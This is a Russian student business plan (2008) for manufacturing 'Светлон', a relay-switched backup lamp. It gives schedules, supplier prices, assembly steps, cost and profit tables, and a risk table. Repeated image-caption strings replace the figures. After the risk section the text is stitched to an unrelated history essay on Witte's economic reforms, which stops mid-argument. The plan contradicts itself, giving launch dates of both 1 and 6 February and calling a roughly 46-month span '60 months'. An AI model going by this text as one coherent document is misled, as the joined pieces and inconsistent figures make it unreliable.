Запуск производства прибора для резервного

освещения помещений «Светлон»

Илья Уткин, МО — 54

Николай Шевченко, МО — 54

Оренбург 2008

Содержание

Резюме 3

Описание проекта 3

Структура разбиения работ по реализации проекта 4

Календарный план-график реализации проекта 6

Описание продукции 7

Маркетинговый план 9

Производственный план 15

Организационный план 18

Финансовый план 18

Оценка рисков 22

Резюме

Наименование проекта

Прибор «Светлон»
Наименование инициатора проекта

ПО «Стрела»
Юридический адрес инициатора проекта

г. Оренбург, ул. Шевченко, 71
Ф.И.О. руководителя проекта

Илья Александрович Уткин,

Николай Васильевич Шевченко

Автор проекта

Илья Александрович Уткин,

Николай Васильевич Шевченко

Цель проекта

Начать выпуск прибора «Светлон»

6 февраля 2009 г. на Машиностроительном заводе ПО «Стрела»

Начало реализации проекта

30.11.2008
Расчетный период (длительность) проекта

60 месяцев (30.11.2008—01.10.2012)
Общее финансирование проекта

466 857,8 руб.
Объем вкладываемых собственных средств инициатора проекта

466 857,8 руб.
Срок окупаемости

0,5 года
Ожидаемая чистая прибыль в 2009г.

659 513,04 руб.
Точка безубыточности

2 310 изделий в месяц

Описание проекта

В современном мире жизнь человека очень сильно зависит от электричества. Освещение — одна из важнейших функций электричества. Улицы и дома освещены электрическими лампами, люди практически не пользуются свечами, керосиновыми лампами и другими устаревшими способами освещения.

В связи с этим, сбой в электросети, временное отключение электроэнергии погружают людей во тьму. Каждый бывал в ситуации, когда свет отключается в самый неподходящий момент, и приходится на ощупь идти через всю квартиру за фонариком или свечами.

Прибор «Светлон», производство которого описано в данном проекте, позволяет освещать помещения при отключении электроэнергии. Он включается автоматически, как только исчезает ток в электросети.

Заказчиком проекта является ПО «Стрела». Прибор «Светлон» будет новым товаром, выпускаемым ПО «Стрела».

Проект является основным документом, по которому осуществляется организация и реализация поставленной цели.

Цель данного проекта — начать выпуск прибора «Светлон» 1 февраля 2009 г. на Машиностроительном заводе ПО «Стрела».

Для достижения поставленной цели необходимо решить следующие задачи:

Разработать схему прибора;

Составить список необходимых деталей;

Организовать производство;

Провести маркетинговые мероприятия.

Данный проект является коммерческим и предполагает получение прибыли.

Команда по реализации проекта:

Менеджер проекта;

Маркетолог;

HR-специалист;

Технолог.

Структура разбиения работ по реализации проекта

Подготовка приказа о реализации проекта;

Патентование прибора:

Подготовка заявления в патентное бюро;

Подача заявления (7 250 руб.);

Получение патента;

Закупка инструмента и оборудования:

Покупка паяльников (3 шт. ∙ 350 руб.);

Покупка плоскогубцев (3 шт. ∙ 95 руб.);

Покупка отверток (3 шт. ∙ 85 руб.);

Покупка кусачек (3 шт. ∙ 80 руб.);

Покупка тестеров (3 шт. ∙ 280 руб.);

Заключение договоров на поставку сырья и деталей:

Заключение договора на поставку выпрямительных диодов, аккумуляторов, сопротивления, ламп, проводов, клемм с ООО «Самара-ТехЭлектро»;

Заключение договора на поставку реле напряжения с ЗАО «Фирма “Новый день”»;

Заключение договора на поставку гранулированного полиэтилена с ООО «Сервис-Пласт»;

Наём обслуживающего и производственного персонала:

Размещение вакансий (менеджер, мерчендайзер, рабочие) в газете объявлений;

Проведение собеседования и отбор кандидатов;

Заключение трудовых договоров;

Пуско-наладочные работы:

Организация рабочих мест;

Обучение персонала;

Наладка оборудования и инструментов;

Проведение рекламной компании:

Выбор рекламного агентства;

Съемка рекламного ролика;

Размещение рекламы на телевидении;

Проведение демонстраций;

Производство рекламной продукции для точек продаж;

Запуск производства прибора «Светлон»;

Завершение проекта.

Календарный план-график реализации проекта

Перечень мероприятий

Период времени

Ответственный
Подготовка приказа о реализации проекта

30.11 — 02.12

Инициатор
Патентование прибора

03.12 — 12.01

Менеджер
Подготовка заявления в патентное бюро

03.12 — 05.12

Менеджер
Подача заявления

06.12 — 12.12

Менеджер
Получение патента

13.12 — 12.01

Менеджер
Закупка инструмента и оборудования

04.12 — 08.12

Менеджер
Покупка паяльников

04.12 — 07.12

Менеджер
Покупка плоскогубцев

04.12 — 07.12

Менеджер
Покупка отверток

04.12 — 07.12

Менеджер
Покупка кусачек

05.12 — 07.12

Менеджер
Покупка тестеров

05.12 — 08.12

Менеджер

Заключение договоров на поставку

сырья и деталей

09.12 — 08.01

Менеджер
Заключение договора с ООО «Самара-ТехЭлектро»

09.12 — 20.12

Менеджер

Заключение договора с

ЗАО «Фирма “Новый день”»

21.12 — 28.12

Менеджер

Заключение договора с

ООО «Сервис-Пласт»

29.12 — 08.01

Менеджер
Наём персонала

09.01 — 28.01

HR-специалист
Размещение вакансий

09.01 — 15.01

HR-специалист
Проведение собеседования и отбор кандидатов

16.01 — 24.01

HR-специалист
Заключение трудовых договоров

25.01 —28.01

HR-специалист
Пуско-наладочные работы

29.01 — 05.02

Менеджер
Организация рабочих мест

29.01 — 01.02

Технолог
Обучение персонала

30.01 — 02.02

HR-специалист
Наладка оборудования и инструментов

01.02 — 05.02

Технолог
Проведение рекламной компании

17.01 — 20.02

Маркетолог
Выбор рекламного агентства

17.01 — 19.01

Маркетолог
Съемка рекламного ролика

20.01 — 24.01

Маркетолог
Производство рекламной продукции для точек продаж

20.01 — 24.01

Маркетолог
Размещение рекламы на телевидении

25.01 — 29.01

Маркетолог
Проведение демонстраций

07.02 — 20.02

Маркетолог
Запуск производства прибора «Светлон»

06.02

Менеджер

Описание продукции

Светлон — прибор для обеспечения освещения помещения в случае неожиданного отключения электроэнергии.

Прибор подключается к электросети через стандартную розетку. В рабочем режиме прибор анализирует наличие напряжения в электросети и при отключении электроэнергии включает лампу освещения, работающую от аккумуляторных элементов питания. При включении электроэнергии лампа выключается автоматически.

В случае разрядки аккумуляторов прибор можно перевести в режим зарядки с помощью переключателя режима зарядки. По окончании зарядки прибор необходимо перевести в рабочий режим. Заряда аккумуляторов хватает на пять часов беспрерывной работы.

Устройство прибора.

Электрическая схема прибора изображена на рисунке 1.

Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;

Рисунок 1. Электрическая схема прибора «Светлон».

Принцип действия

В рабочем режиме при наличии тока в электросети, катушка реле напряжения находится под напряжением; вокруг нее образуется магнитное поле, ключ реле под действием этого поля поднимается и размыкает цепь на участке между аккумулятором и лампой. Лампа не горит. Как только ток в электросети прекращается, магнитное поле вокруг катушки исчезает, ключ реле опускается и замыкает цепь на участке между аккумулятором и лампой. Лампа горит.

В режиме зарядки цепь на участке между аккумулятором и лампой разомкнута. Идет зарядка аккумулятора. Светодиод позволяет визуально определить наличие тока в электросети.

Внешний вид

Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;

Маркетинговый план

Направления маркетинга:

Анализ потребительского рынка и удовлетворение потребностей клиентов;

Выбор поставщиков и определение политики взаимодействия с поставщиками;

Анализ конкурентной среды и разработка стратегии повышения конкурентоспособности;

Определение сбытовой политики, стимулирование сбыта.

Потребители.

Потребителями на начальном этапе будут являться жители Оренбурга и Оренбургской области, затем продажа прибора планируется по всей территории Российской федерации.

Потребителями данного товара являются индивидуальные потребители, семьи или домохозяйства.

Причины приобретения прибора «Светлон»:

Необходимость резервного освещения гостиной, кухни и т.д.;

Необходимость резервного освещения в детской комнате.

В связи с этим необходимо разработать несколько дизайнов прибора — использовать несколько цветовых гамм для обеспечения возможности выбора, а также разработать вариант для установки в детских комнатах.

Характер спроса отличается низкой степенью вовлечения потребителей, некоторой пассивностью. В редких случаях потребитель примет решение о покупке заблаговременно, так как потребность в данном приборе скрытая до тех пор, пока потребитель не окажется в ситуации острой необходимости резервного освещения. Следовательно, необходимо информировать потребителей о ситуациях, в которых потребность в данном товаре становится явной, а также использовать напоминающую рекламу.

Поставщики

Детали, необходимые для производства прибора:

Выпрямительный диод VD

Поставщики:

ООО «Самара-ТехЭлектро» (г. Самара), цена — 2 руб.;

ЗАО «СнабЭлектро» (г. Уфа), цена — 2,3 руб.;

Аккумуляторы GB-Д-0,26 ДУ1

Поставщики:

ЗАО «Альбатрос» (г. Нижний Новгород), цена — 25,5 руб.;

ООО «Самара-ТехЭлектро» (г. Самара), цена — 20 руб.;

ЗАО «СнабЭлектро» (г. Уфа), цена — 23,3 руб.;

Сопротивление МЛТ-1; МЛТ-0,5

Поставщики:

ООО «Самара-ТехЭлектро» (г. Самара), цена — 1,5 руб.;

ЗАО «СнабЭлектро» (г. Уфа), цена — 3,1 руб.;

Реле напряжения ПЭ-20 220 В

Поставщик: ЗАО «Фирма “Новый день”» (г. Казань), цена — 30 руб.;

Лампа 2,5 В, 0,15 А

Поставщики:

ООО «Самара-ТехЭлектро» (г. Самара), цена — 6 руб.;

ЗАО «СнабЭлектро» (г. Уфа), цена — 8,9 руб.;

Провода

Поставщики:

ООО «Самара-ТехЭлектро» (г. Самара), цена — 20 руб./м;

ЗАО «СнабЭлектро» (г. Уфа), цена — 30 руб./м;

Клеммы

Поставщики:

ООО «Самара-ТехЭлектро» (г. Самара), цена — 0,45 руб.;

ЗАО «СнабЭлектро» (г. Уфа) цена — 0,5 руб.;

Гранулированный полиэтилен

Поставщики:

ООО «Сервис-Пласт» (г. Самара), цена — 123 руб./кг.;

ООО «ОСТ-3» (г. Москва), цена — 157 руб./кг.

Для снижения риска, связанного с нарушениями поставок необходимо диверсифицировать поставщиков. Кроме того разнообразие предприятий, предлагающих данные детали и высокая конкуренция между ними позволяет выбрать поставщика, предлагающего детали высокого качества, но по низкой цене. Наиболее предпочтительными поставщиками являются: ООО «Самара-ТехЭлектро», ЗАО «Фирма “Новый день”», ООО «Сервис-Пласт».

Конкуренция

Прибор «Светлон» на данный момент не имеет аналогов в своем роде. Однако в связи с простотой конструкции необходимо предполагать появление в скорейшем времени приборов аналогичной конструкции.

Для повышения конкурентоспособности необходимо создать имидж надежного прибора, сделать марку «Светлон» узнаваемой посредством рекламы. Позиционирование товара должно быть четким: «Светлон» — прибор для обеспечения безопасности и комфорта.

SWOT-анализ

Возможности:

Расширение производства

Расширение функциональности прибора

Использование производственных мощностей для производства других изделий

Угрозы:

Вероятность появления конкурентов

Непредсказуемый спрос

Сильные стороны:

Низкая себестоимость

Простота конструкции

Не требует высококвалифицированного персонала

Отсутствие аналогов

Стандартные комплектующие

Четкое позиционирование товара

Развитие:

Выход на новые рынки

Освоение новых видов продукции

Минимизация риска:

Создание положительной репутации

Изучение и стимулирование спроса

Слабые стороны:

Скрытый характер потребностей

Не возможность защиты от появления аналогов

Компенсация:

Увеличение спроса путем повышения функциональности прибора

Опасности:

Низкий объем продаж

Невозможность реализации продукции

Организация сбыта товара

Прибор «Светлон» должен продаваться в магазинах электротехники, магазинах, специализирующихся на освещении (люстры, лампы), бытовых магазинах (бытовая химия, товары для дома).

Стимулирование сбыта.

Рекламу товара можно разделить на два уровня:

Информирующая реклама (реклама по ТВ, обрисовывающая жизненные ситуации, в которых может пригодиться «Светлон»);

Напоминающая реклама (реклама в местах продаж, привлекающая внимание к товару на полке и напоминающая о необходимости прибора).

Кроме рекламы необходимо проводить демонстрации прибора в крупных магазинах.

Производственный план

Детали и сырье, необходимые для производства:

Корпус;

Диод (VD);

Сопротивление (R1- МЛТ1; R2- МЛТ0,5);

Конденсатор (C=474, DK 250 В);

Аккумуляторы 3 шт. (GB-Д-0,26 ДУ1);

Реле напряжения (ПЭ-20 220 В);

Лампа (2,5 В, 0,15 А);

Патрон для лампы;

Светодиод;

Провода;

Вилка (XP);

Шурупы (2 шт.);

Клеммы для аккумулятора;

Переключатели (2 шт.);

Гранулированный полиэтилен.

Инструменты и оборудование:

Паяльник 350 руб.;

Плоскогубцы 95 руб.;

Отвертка 85 руб.;

Кусачки 80 руб.;

Тестер 280 руб.;

Станок «КуАСИ 170/55» для производства пластикового корпуса.

Рабочие операции

Изготовление пластикового корпуса производится на станке

«КуАСИ 170/55». Под действием высокой температуры гранулированный полиэтилен плавится и под давлением подается в формы. После застывания изделий их выдерживают в течении 12 — 24 часов при нормальных условиях. Производительность станка — 50 изделий в час.

Сборка производится двумя параллельными потоками:

Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;

№

Операция

Длительность, секунд

Результат (деталь)
1.1

Припайка первого контакта катушки реле к первому штырю вилки

18

Д11
1.2

Припайка одного контакта сопротивления R1 к первому штырю вилки

16

Д12
1.3

Припайка первого контакта светодиода ко второму контакту сопротивления R1

16

Д13
1.4

Припайка минусовой клеммы аккумулятора ко второму контакту сопротивления R1

17

Д14
1.5

Припайка первого контакта основного выключателя ко второму контакту сопротивления R1

16

Д15
1.6

Припайка первого контакта ключа реле ко второму контакту основного выключателя

16

Д16
2.1

Припайка первого контакта сопротивления R2 ко второму штырю вилки

17

Д21
2.2

Припайка первого контакта конденсатора ко второму штырю вилки

15

Д22
2.3

Припайка второго контакта конденсатора ко второму контакту сопротивления R2

12

Д23
2.4

Припайка первого контакта диода ко второму контакту сопротивления R2

12

Д24
2.5

Припайка первого контакта выключателя зарядки ко второму контакту диода

13

Д25
2.6

Припайка плюсовой клеммы аккумулятора ко второму контакту выключателя зарядки

13

Д26
2.7

Припайка первого контакта патрона для лампы ко второму контакту выключателя зарядки

12

Д17
3.1

Припайка второго контакта катушки реле ко второму штырю вилки

30

И31
3.2

Припайка второго контакта светодиода ко второму контакту сопротивления R2

28

И32
3.3

Припайка второго контакта патрона для лампы ко второму контакту выключателя зарядки

28

И33
3.4

Присоединение лампы к патрону

8

И34
3.5

Монтаж И343 в пластиковый корпус

22

И35
3.6

Опробование схемы в работе

13

Готовый прибор

Сборка прибора производится тремя рабочими:

Первый рабочий выполняет операции 1.1 — 1.6, второй рабочий выполняет операции 2.1 —2.7, третий рабочий выполняет операции 3.1 — 3.6.

1 мин

2 мин

3 мин

4 мин
Первый рабочий

1.1 — 1.6

Второй рабочий

2.1 — 2.7

Третий рабочий

3.1 — 3.6

Время изготовления одного изделия составляет 228 секунд.

Организационный план

ПО «Стрела» занимается производством широкого ассортимента товаров. Прибор «Светлон» будет производиться на машиностроительном заводе.

Персонал, задействованный в производстве и сбыте прибора «Светлон»:

Менеджер;

Мерчендайзер;

Рабочие (3).

Обязанности персонала:

Менеджер:

взаимодействие с поставщиками;

планирование объемов производства;

маркетинговая деятельность;

руководство персоналом;

Мерчендайзер:

расстановка товара на полках в магазинах;

оформление витрин;

обеспечение точек продаж рекламными материалами»

Рабочие:

производство прибора;

мониторинг качества.

Финансовый план

Расчет себестоимости изделия

Планируемый объем выпуска составляет 100 изделий в день.

Количество производственных рабочих — 3 человека.

Потребляемая мощность — 90 кВт.

Сумма затрат на изготовление единицы изделия:

Наименование

Количество

Цена

Стоимость, руб.
Выпрямит. диоды

2

шт.

2

руб./шт.

4,0
Аккумуляторы

3

шт.

20

руб./шт.

60,0
Сопротивление

1

шт.

1,5

руб./шт.

1,5
Реле напряжения

1

шт.

30

руб./шт.

30,0
Лампа накаливания

1

шт.

6

руб./шт.

6
Патрон

1

шт.

5,5

руб./шт.

5,5
Клеммы

4

шт.

0,45

руб./шт.

1,35
Пластиковый корпус

1

шт.

12,3

руб./шт.

12,3
Провод

0,3

м.

20

руб./м.

6,0
Клеммы вилки

2

шт.

2

руб./шт.

4,0
Шурупы

2

шт.

0,5

руб./шт.

1,0
Затраты труда

14,4

мин

60

руб./ч

14,4
Социальные отчислен.

2,02
Электричество

0,9

кВт

1,5

руб./кВт

1,35
Амортизация

14,4

мин

1 250 руб./мес.

1,34
Себестоимость

150,76

Цена прибора составит: 150,76 · 1,15 = 173,3 (руб./шт.);

Рекомендуемая цена прибора на полках в магазинах составит не более 199,9 руб.

Сумма затрат за месяц:

Статья затрат

Сумма, руб.
Оплата труда

50 320
Отчисления на соц. нужды

7 044,8
Материальные затраты

373 243
В т.ч.:

Сырье и материалы

369 463
Электроэнергия

3 780
Амортизация

1 250
Прочие затраты (реклама и т.д.)

35 000
Итого

466 857,8

В первом месяце планируется закупка оборудования и инструментов на общую сумму 9 535.

Суммарная выручка за месяц:

100 шт. · 30 дней · 173,3 руб. = 519 900

Отчет о прибыли и убытках:

Период

Выручка

Затраты

Валовая прибыль

Налог на прибыль

Чистая прибыль
2008 г.

10

0

15

-15

0

-15
11

0

220

-220

0

-220
12

0

7250

-7250

0

-7250
2009 г.

1

0

9535

-9535

0

-9535
2

519900

466858

53042,2

7956,33

45085,87
3

530298

476195

54103,044

8115,457

45987,59
4

540904

485719

55185,105

8277,766

46907,34
5

551722

495433

56288,807

8443,321

47845,49
6

562756,5

505342

57414,583

8612,187

48802,4
7

574011,6

515449

58562,875

8784,431

49778,44
8

585491,8

525758

59734,132

8960,12

50774,01
9

597201,7

536273

60928,815

9139,322

51789,49
10

609145,7

546998

62147,391

9322,109

52825,28
11

621328,6

557938

63390,339

9508,551

53881,79
12

633755,2

569097

64658,146

9698,722

54959,42
2010 г.

I кв.

2585721

2321916

263805,23

39570,79

224234,4
II кв.

2637436

2368354

269081,34

40362,2

228719,1
III кв.

2690184

2415721

274462,97

41169,44

233293,5
IV кв.

2743988

2464036

279952,23

41992,83

237959,4
2011 г.

I полуг.

5487976

4928072

559904,45

83985,67

475918,8
II полуг.

5542856

4977352

565503,5

84825,52

480678

Срок окупаемости составит 0,5 лет.

Прогноз точки безубыточности

Затраты за месяц по категориям:

Статья затрат

Сумма, руб.
Постоянные затраты

93 197,8
Оплата труда

50 320
Отчисления на соц. нужды

7 044,8
Амортизация

1 250
Прочие затраты (реклама и т.д.)

35 000
Переменные затраты

Материальные затраты

133,45 · объем выпуска
В т.ч.:

Сырье и материалы

132,1 · объем выпуска
Электроэнергия

1,35 · объем выпуска

Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;

Точка безубыточности проекта достигается при выпуске 2 310 изделий в месяц или 77 изделий в день.

Оценка рисков

№

Вид риска

Вероятность, %

Ущерб, руб.

Премия за риск, руб.
1

Неправильная оценка спроса

2

112 380

10 114
2

Появление новых конкурентов

27

79 120

4 747
3

Задержка в поставке

деталей и сырья

0,8

89 590

8 959
4

Риск аварий и отказов оборудования

2

89 590

7 167
5

Риск неправильного подбора персонала

1,2

79 120

5 538
6

Рост инфляции

4

94 030

8 798

План управления рисками:

Идентификация риска;

Выявление причин и последствий риска;

Разработка стратегии управления риском;

Назначение исполнителей, ответственных за проведение мероприятий по снижению рисков.

Мероприятия по снижению риска:

Выделение 35 тыс. руб. на проведение маркетинговых исследований

Выделение средств на проведение качественного отбора персонала

Проект по запуску производства прибора &amp;quot;Светлон&amp;quot;Диверсификация поставщиков

Реферат: Модернизация страны в конце ХIХ – начале ХХ вв.

ТЕМА № 24

« Модернизация страны в конце ХIХ – начале ХХ вв. »

ПЛАН

Преобразовательная деятельность С. Ю. Витте : основные направления, итоги .

Реформы П. А. Столыпина : сущность , противоречия , результаты и назначение .

Список используемой литературы .

Преобразовательная деятельность С. Ю. Витте : основные направления, итоги .

С. Ю. Витте родился в Тифлисе 17 июня 1849 года и воспитывался в семье своего деда А. М. Фадеева , тайного советника , бывшего в 1841-1846 годах саратовским губернатором , а затем членом совета управления Кавказского наместника и управляющим экспедицией государственных имуществ Закавказского края .

Он происходил из малоизвестных обрусевших немцев, ставших дворянами в 1856 году ( хотя он сам насаждал версию потомственного дворянства и верности православию ) . Ранние годы С. Ю. Витте прошли в Тифлисе и Одессе , где , в 1870 году он кончил курс наук в новороссийском университете по математическому факультету со степенью кандидата .

В августе 1892 году в связи с болезнью Вышнеградского , С. Ю. Витте сделался его приемником на посту министра финансов . Заняв кресло на посту одного из самых влиятельных министров , С. Ю. Витте показал себя реальным политиком . Вчерашний славянофил , убежденный сторонник самобытного развития России в короткий срок превратился в индустриализатора европейского образца , заявившего о своей готовности в течение двух пятилетий вывести Россию в разряд передовых промышленных держав .

В начале 90-х годов С. Ю. Витте еще не изменил общинным идеалам , считал русское крестьянство консервативной силой и «главной опорой порядка». Видя в общине оплот против социализма , он сочувственно относился к законодательным мерам конца 1880-х — начала 1890-х годов , направленных на ее укрепление . Промышленность , строительство и железные дороги в 90-х годах активно развивались . Этому в какой-то степени способствовало и обнищание крестьян и землевладельцев после неурожая 1891 году и последовавшего за ним голода . Именно этот упадок в экономике и привел общественность к осознанию необходимости принять меры для обуздания реакционных деятелей в правительстве , толкавших страну на грань экономического и духовного распада . В этой обстановке появился на политической сцене С. Ю. Витте . На этого в высшей мере талантливого человека легла задача преобразования экономической жизни страны .

В свое время он прошел школу частного предпринимательства , имел надеж­ные связи в финансово — промышленном мире и с презрением относился к « благородным нищим » , как называл он помещи­ков, выпрашивающих казенные подачки . С. Ю. Витте был сторон­ником активного стимулирования государством промышлен­ного развития .

В 1894 — 1895 годах С. Ю. Витте добился стабилизации рубля , а в 1897 году сделал то , что не удавалось его предшественникам , — ввел золотое денежное обращение , обеспечив стране твердую валюту вплоть до первой мировой войны и приток иностранных капиталов . При этом резко увеличилось налогообложение , особенно косвенное ( они в 90-е годы воз­росли на 42,7 процентов ) . Одним из самых эффективных средств выкачивания денег из народного кармана стала введенная С. Ю. Витте государственная монополия на продажу спирта , вина и водочный изделий . Государство забрало в казну доходы кабатчиков . Цены на водку росли, и доходы от винной монополии стали составлять все более значительную часть государственного бюджета . Критики правительства не без оснований говорили о « пьяном бюджете » .

На рубеже XX века экономическая платформа С. Ю. Витте приняла вполне определенный и целенаправленный характер : в течение примерно десять лет догнать в промышленном отношении более развитые страны Европы , занять прочные позиции на рынках Ближнего , Среднего и Дальнего Востока . Ускоренное промышленное развитие обеспечивалось путем привлечения иностранных капиталов , накопления внутренних ресурсов с помощью казенной винной монополии и усиления косвенного обложения , таможенной защиты промышленности от западных конкурентов и поощрения вывоза . Иностранным капиталам в ней отводилась особая роль — в конце 90-х годов С. Ю. Витте выступил за неограниченное привлечение их в русскую промышленность и железнодорожное дело , называя эти средства лекарством против бедности и ссылаясь при этом на пример из истории США и Германии .

Особенность приводимого С. Ю. Витте курса состояла в том , что он как ни один из царских министров финансов , широко использовал исключительную экономическую силу власти , существовавшую в России . Орудиями

государственного вмешательства служили Государственный банк и учреждения министра финансов , во всех преобразованиях, контролировавшие деятельность коммерческих банков .

В условиях подъема 1890-х годов система С. Ю. Витте способствовала развитию промышленности и железнодорожного строительства , в период с 1895 по 1899 годов в среднем в стране строилось 3 тысяч километров путей в год , а к 1900 году Россия вышла на 1 место в мире по добыче нефти . Казавшийся стабильным политический режим и развивавшаяся экономика завораживали мелкого европейского держателя , охотно покупавшего высокопроцентные облигации русских государственных займов и железнодорожных обществ .

В 1890-ые годы резко возросло влияние Министерства финансов , а сам С. Ю. Витте на какое-то время выдвинулся на первое место в бюрократическом аппарате империи . С. Ю. Витте не скупился в расходах, рекламируя в европейских газетах и журналах финансовое положение России , свой экономический курс и собственную персону .

В русской печати министра резко критиковали за отступничество его бывшие единомышленники . За неограниченное использование государственного

вмешательства С. Ю. Витте подвергался критике и со стороны приверженцев реформ 1860-х годов , считавших , что индустриализация возможна только через перемены в государственной системе — создание настоящего ( » объединенного » ) правительства и введение правительственного учреждения . В либеральных кругах » система » С. Ю. Витте была воспринята как » грандиозная экономическая диверсия самодержавия » , отвлекавшая внимание населения от социально-экономических и культурно-политических реформ . В конце 1890-х годов казалось , что С. Ю. Витте доказал своей политикой невероятное : жизнеспособность феодальной по своей природе власти в условиях индустриализации , возможность успешно развивать экономику , ничего не меняя в системе государственного управления .

Однако , честолюбивым замыслам С. Ю. Витте не суждено было осуществиться . Первый удар по ним нанес мировой экономический кризис , резко затормозивший развитие промышленности ; сократился приток иностранных капиталов , нарушилось бюджетное равновесие . Экономическая экспансия на Дальнем и Среднем Востоке , сама по себе связанная с большими расходами, еще и обострила русско-английские противоречия и приблизила войну с Японией . С началом же военных действий ни о какой последовательной экономической программе не могло уже быть речи .

Ускоренная индустриализация России не могла быть успешной при сохранении традиционной системы власти и существовавших экономических отношений в деревне и С. Ю. Витте скоро начал отдавать себе в отчет . «… сделавшись механиком сложной машины , именуемой финансами Российской империи нужно было быть дураком , чтобы не понимать , что машина без топлива не пойдет . Топливо это — экономическое состояние России , а так как главная часть населения — это крестьянство , то нужно было вникнуть в эту область » . В 1896 году С. Ю. Витте отказался от поддержки общинного землевладения . В 1898 году он сделал первую попытку добиться в комитете министров пересмотра аграрного курса , сорванную , однако , В. К. Плеве , К. П. Победоносцевым и П. Н. Дурново . К 1899 году при участии Витте были разработаны и приняты законы об отмене круговой поруки . Но общинное землевладение оказалось твердым орешком. В январе 1902 года С. Ю. Витте возглавил Особое Совещание о нуждах сельскохозяйственной промышленности,

тем самым , взяв , казалось бы , к себе в министерство финансов общую разработку крестьянского вопроса . Противники С. Ю. Витте из помещичьего лагеря обвиняли его в том , что своей политикой поощрения промышленности он разорил сельское хозяйство . Это , в общем , несправедливо . Главная причина отставания сельского хозяйства заключалась в сохранении крепостнических пережитков в деревне . Выкуп за землю вынул из кармана крестьян больше денег , чем создание промышленности . Сделал свое дело аграрный кризис . А вот ко всему этому добавилась уже и политика С. Ю. Витте .

Развитие промышленности во всех странах шло за счет средств , накопленных первоначально в сельском хозяйстве . Там , где этот процесс шел естественным и неспешным темпом , он не был болезненным . Необходимость быстрого скачка оказалась чувствительной . Россия была догоняющей страной и расплачивалась за это .

Незавершенность реформы 1861 года , мировой аграрный кризис и виттевская индустриализация , вместе взятые , действительно привели сельское хозяйство на рубеже XIX — XX веков к глубокому кризису . К концу XIX века и С. Ю. Витте , и его противники заговорили о » перенапряжении платежных сил сельского населения » . Эти слова отражали искреннюю и глубокую тревогу представителей власти . На платежеспособности крестьян держались и развитие промышленности , и государственный бюджет .

Противники С. Ю. Витте усилили нападки на политику индустриализации.

В июне 1902 года В. К. Плеве в противовес Особому совещанию создал при своем министерстве ( внутренних дел ) еще один центр разработки аграрной политики , которая стала поприщем соперничества двух министров .

В манифесте 26 февраля 1903 года , определившем программу царизма , какой ее видели Николай II и В. К. Плеве , снова , хотя и с некоторыми оговорками , провозглашалась » неприкосновенность общинного строя крестьянского землевладения » . Объединенными усилиями противники С. Ю. Витте при очевидном сочувствии императора начали оттеснять министра финансов и от рычагов управления дальневосточной политикой , находившихся до того в его почти исключительном владении . Каковы бы ни были в совокупности причины увольнения С. Ю. Витте с должности министра , отставка в августе 1903 года нанесла ему удар : пост председателя комитета министров , который он получил , был неизмеримо менее влиятелен . Сам С. Ю. Витте поэтому сравнивал свое пребывание на этом посту с тюремным заключением.

По мнению А. Ф. Керенского , устранение С. Ю. Витте и замена его в 1903 году оголтелым реакционером В. К. Плеве , сразу же приступившим к разрушению основ политической жизни империи , ознаменовали начало того периода в русской истории , который можно рассматривать как пролог к революции 1905 года . Последствия деятельности В. К. Плеве были столь плачевны , что в революционное движение постепенно втягивались не только наиболее прогрессивные представители земства и интеллигенции , но и рабочие , а затем и крестьяне .

Самодержавие , ставшее к тому времени не более чем пережитком российской истории , было обречено . Однако , Николай II , вместо того , чтобы продолжить реформы своего деда и даровать конституцию , с помощью таких людей , как В. К. Плеве , упрямо тянул страну назад , к самым мрачным временам бюрократического абсолютизма .

Новая ситуация создалась после 15 июля 1904 года , когда был убит министр внутренних дел В. К. Плеве . Она породила энтузиазм и небывалое возбуждение . На пост министра внутренних дел был назначен генерал-губернатор Вильны князь П. Д. Святополк – Мирский , о котором с почтением отзывались все , знавшие его . Культурный образованный человек он обладал взглядами , куда более современными , чем взгляды его предшественника . Вступление на министерский пост он ознаменовал заявлением , в котором он обещал проводить политику , прислушивающуюся к голосу общественности , с мнением которой он , по его словам , всегда считался ; стремился разрядить сгущавшуюся политическую атмосферу . К С. Ю. Витте вернулось деятельное состояние ; он высказался за создание «объединенного» правительства с ним самим в качестве премьера и даже засел за изучение государственного права , чтобы постичь основы конституционного строя .

